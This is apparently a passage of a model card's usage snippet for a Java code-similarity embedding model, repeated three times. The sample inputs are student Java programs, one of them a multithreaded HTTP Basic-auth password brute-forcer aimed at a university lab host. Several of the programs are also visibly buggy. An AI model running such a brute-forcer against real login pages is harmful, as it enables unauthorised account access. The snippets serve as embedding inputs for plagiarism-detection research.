BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]